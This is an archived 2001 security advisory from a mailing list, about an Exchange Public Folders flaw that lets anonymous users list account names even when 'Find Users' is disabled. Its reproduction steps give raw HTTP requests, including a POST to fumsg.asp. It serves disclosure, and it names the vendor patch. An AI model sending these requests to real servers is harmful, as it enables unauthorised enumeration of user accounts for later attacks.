[NT] Exchange Public Folders Information Leakage

From: support@securiteam.com
Date: 09/07/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [NT] Exchange Public Folders Information Leakage
Message-Id: <20010907082308.BC6F3138C0@mail.der-keiler.de>
Date: Fri,  7 Sep 2001 10:23:08 +0200 (CEST)

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  Exchange Public Folders Information Leakage
------------------------------------------------------------------------

SUMMARY

Microsoft Exchange Server handles anonymous access to its Public Folders
insecurely. While administrators may disable the "Find Users" features to
prevent anonymous users from enumerating existing user names, a security
flaw in Exchange server allows remote attackers with access to the
exchange server to run "Find Users".

DETAILS

Microsoft Exchange's Public Folders options of "Find Users" can be
disabled. This, however, does not prevent the users from directly
accessing the ASP page (fumsg.asp). The link to the "Find Users" will be
hidden, however it is still possible to programmatically access the page.

Steps to recreate:
1) Contact:
GET /exchange/root.asp?acs=anon HTTP/1.1
Host: www.example.com

2) Access the redirected page, and resend the issued cookie.
GET /exchange/logonfrm.asp HTTP/1.1
Host: www.example.com
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN

3) Access the redirected page, and resend the issued cookie.
GET /exchange/root.asp?acs=anon HTTP/1.1
Host: www.example.com
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN

4) Issue this request to obtain a list of users with the letter 'a' in
their name (e.g. Administrator)
POST /exchange/finduser/fumsg.asp HTTP/1.1
Host: www.example.com
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN

DN=a&FN=&LN=&TL=&AN=&CP=&DP=&OF=&CY=&ST=&CO=

Vendor status:
Microsoft has been contacted on August 4, 2001. A security bulletin was
released on September 7, 2001.

Solution:
Microsoft has released a patch for this problem. See
<http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-047.asp> Microsoft Security Bulletin MS01-047 for more information.

ADDITIONAL INFORMATION

The information has been provided by <mailto:experts@securiteam.com>
SecuriTeam Experts.

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Relevant Pages

  • Exchange Public Folders Information Leakage
    ... The following security advisory is sent to the securiteam mailing list, ... Microsoft Exchange Server handles anonymous access to its Public Folders ... and resend the issued cookie. ...
    (NT-Bugtraq)
  • Exchange Public Folders Information Leakage
    ... The following security advisory is sent to the securiteam mailing list, ... Microsoft Exchange Server handles anonymous access to its Public Folders ... and resend the issued cookie. ...
    (Bugtraq)
  • Re: Groups/Public Folders
    ... You can use Distribution Groups to restricted access to public folders in a ... Exchange 2000/2003 public folders can only grant permissmions to security ...
    (microsoft.public.exchange.admin)
  • Re: Migrating Public Folders
    ... Did you install Exchange 2003 into the same Organization as your Exchange ... to migrate your public folders you can use PFAdmin to ... Migrate the Public Folders whilst keeping the security.! ...
    (microsoft.public.exchange.admin)
  • Re: Migrating Public Folders
    ... Did you install Exchange 2003 into the same Organization as your Exchange ... to migrate your public folders you can use PFAdmin to ... Migrate the Public Folders whilst keeping the security.! ...
    (microsoft.public.exchange2000.admin)